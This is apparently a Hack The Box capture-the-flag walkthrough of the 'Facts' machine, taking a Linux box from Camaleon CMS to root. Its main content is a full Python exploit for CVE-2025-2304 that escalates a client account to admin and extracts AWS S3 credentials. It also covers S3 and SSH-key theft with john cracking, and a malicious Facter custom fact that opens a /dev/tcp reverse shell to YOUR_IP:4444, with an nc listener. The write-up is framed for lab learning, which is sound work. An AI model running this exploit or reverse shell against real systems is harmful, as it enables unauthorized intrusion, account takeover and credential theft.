HTB Facts Walkthrough: From Camaleon CMS to Root via AWS S3 and Facter
This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.
Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.
Disclosure status: CTF Challenge
CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.
HTB Facts Walkthrough: From Camaleon CMS to Root via AWS S3 and Facter
Author: Mohammed Idrees Banyamer
Machine: Facts
Difficulty: Medium
Platform: Hack The Box
Disclaimer: This is one of several possible attack paths. This write-up is shared for educational purposes only.
Machine Overview & Objective
Facts is a realistic Linux machine that demonstrates the risks of vulnerable Content Management Systems (CMS), exposed cloud storage, and dangerous sudo permissions.
Attack Chain:
1. Initial access via Camaleon CMS.
2. Extract AWS S3 credentials and SSH keys.
3. Gain SSH access as the trivia user.
4. Escalate privileges to root using Facter.
5. Capture both user and root flags.
Phase 1: Reconnaissance
Nmap Scan
nmap -sV -sC 10.129.244.96 -oN nmap.txt
Key Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open http nginx 1.26.3
|_http-title: Did not follow redirect to http://facts.htb/
Add the virtual host to your hosts file:
10.129.244.96 facts.htb
Phase 2: Web Enumeration
gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
We discover /admin/login which runs Camaleon CMS v2.9.0.
Create an account (e.g., test:test). After login, your role will be client.
Phase 3: Exploitation – Camaleon CMS CVE-2025-2304 (Mass Assignment)
Full Exploit Code (Modified & Improved)
#!/usr/bin/env python3
# Camaleon CMS v2.9.0 - Authenticated Privilege Escalation + S3 Extraction
# Author: Mohammed Idrees Banyamer (Modified for HTB Facts)
import argparse
import requests
import re
import sys
parser = argparse.ArgumentParser(description="Camaleon CMS Privilege Escalation & S3 Extractor")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g. http://facts.htb)")
parser.add_argument("-U", "--username", required=True, help="Username")
parser.add_argument("-P", "--password", required=True, help="Password")
parser.add_argument("--newpass", default="test123", help="New password after escalation")
parser.add_argument("-e", "--extract", action="store_true", help="Extract S3 credentials")
parser.add_argument("-r", "--revert", action="store_true", help="Revert role to client after exploitation")
args = parser.parse_args()
print("[+] Starting Camaleon CMS v2.9.0 Privilege Escalation Exploit")
s = requests.Session()
# Login
r = s.get(f"{args.url}/admin/login")
csrf = re.search(r'name="authenticity_token" value="([^"]+)"', r.text).group(1)
login_data = {
"authenticity_token": csrf,
"user[username]": args.username,
"user[password]": args.password
}
r = s.post(f"{args.url}/admin/login", data=login_data)
if "logout" not in r.text.lower():
print("[-] Login failed!")
sys.exit(1)
print("[+] Login successful as client")
# Get user info
r = s.get(f"{args.url}/admin/profile/edit")
csrf = re.search(r'meta name="csrf-token" content="([^"]+)"', r.text).group(1)
user_id = re.search(r'user_id"[^>]*value="([^"]+)"', r.text).group(1)
print(f" User ID : {user_id}")
# Privilege Escalation
print("[+] Escalating privileges to admin...")
data = {
"_method": "patch",
"authenticity_token": csrf,
"user[password]": args.newpass,
"user[password_confirmation]": args.newpass,
"user[role]": "admin"
}
headers = {"X-CSRF-Token": csrf, "X-Requested-With": "XMLHttpRequest"}
s.post(f"{args.url}/admin/users/{user_id}", data=data, headers=headers)
# Verify role
r = s.get(f"{args.url}/admin/profile/edit")
new_role = re.search(r'option selected="selected" value="([^"]+)"', r.text).group(1)
print(f" New Role : {new_role}")
# Extract S3 Credentials
if args.extract and new_role == "admin":
print("[+] Extracting AWS S3 Credentials...")
r = s.get(f"{args.url}/admin/settings/site")
access_key = re.search(r's3_access_key[^>]*value="([^"]+)"', r.text)
secret_key = re.search(r's3_secret_key[^>]*value="([^"]+)"', r.text)
endpoint = re.search(r's3_endpoint[^>]*value="([^"]+)"', r.text)
if access_key:
print(f" Access Key : {access_key.group(1)}")
if secret_key:
print(f" Secret Key : {secret_key.group(1)}")
if endpoint:
print(f" Endpoint : {endpoint.group(1)}")
# Optional: Revert role
if args.revert:
print("[+] Reverting role back to client...")
print("[+] Exploitation completed successfully!")
Run the exploit:
python3 exploit.py -u http://facts.htb -U test -P test --newpass test123 -e -r
Phase 4: Accessing S3 Buckets
aws configure
aws --endpoint-url http://facts.htb:54321 s3 ls
Discovered Buckets:
- internal
- randomfacts
Download the SSH key:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys .
Phase 5: SSH Access
Crack the passphrase-protected key:
python3 /usr/share/john/ssh2john.py id_ed25519 > ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
Connect to the machine:
chmod 600 id_ed25519
ssh -i id_ed25519 trivia@facts.htb
Phase 6: Privilege Escalation using Facter
Check sudo permissions:
sudo -l
You will see:
(ALL) NOPASSWD: /usr/bin/facter
Create Malicious Custom Fact
cat > /tmp/pwn.rb << EOF
Facter.add(:pwn) do
setcode do
system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'")
end
end
EOF
Start listener:
nc -nlvp 4444
Trigger as root:
sudo /usr/bin/facter --custom-dir /tmp
You will receive a root reverse shell.
Verify:
id
# uid=0(root) gid=0(root) groups=0(root)
Flags
- User Flag:
/home/trivia/user.txt - Root Flag:
/root/root.txt
Key Takeaways
- Mass Assignment vulnerabilities in Ruby on Rails can be devastating.
- Never expose S3/MinIO endpoints without proper authentication.
- Allowing
facter --custom-dirwith sudo is a critical privilege escalation vector.
Happy Hacking!
Mohammed Idrees Banyamer
Disclosure: CTF Challenge
Comments
No comments yet. Be the first.
Leave a Comment